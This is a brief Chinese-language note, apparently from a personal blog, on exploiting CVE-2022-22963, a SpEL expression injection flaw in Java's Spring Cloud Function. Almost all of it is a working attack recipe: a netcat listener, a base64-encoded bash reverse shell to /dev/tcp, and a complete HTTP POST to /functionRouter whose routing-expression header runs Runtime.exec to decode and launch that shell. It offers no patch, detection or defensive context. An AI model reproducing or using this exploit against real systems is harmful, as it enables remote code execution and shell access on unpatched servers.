【笔记】CVE-2022-22963漏洞利用

前言

Java的Spring Cloud Function Spel框架表达式注入漏洞利用

攻击者监听反弹Shell

1
nc -lvp <port>

将反弹Shell的命令进行Base64编码

1
echo -n "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64

exp

  • 在请求头中的数据无需考虑空格问题,不需要URL编码

<base>:上一步Base64编码后的反弹Shell命令

request
1
2
3
4
POST http://example.com/functionRouter
Content-Type: application/x-www-form-urlencoded
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,<base64>}|{base64,-d}|{bash,-i}")

完成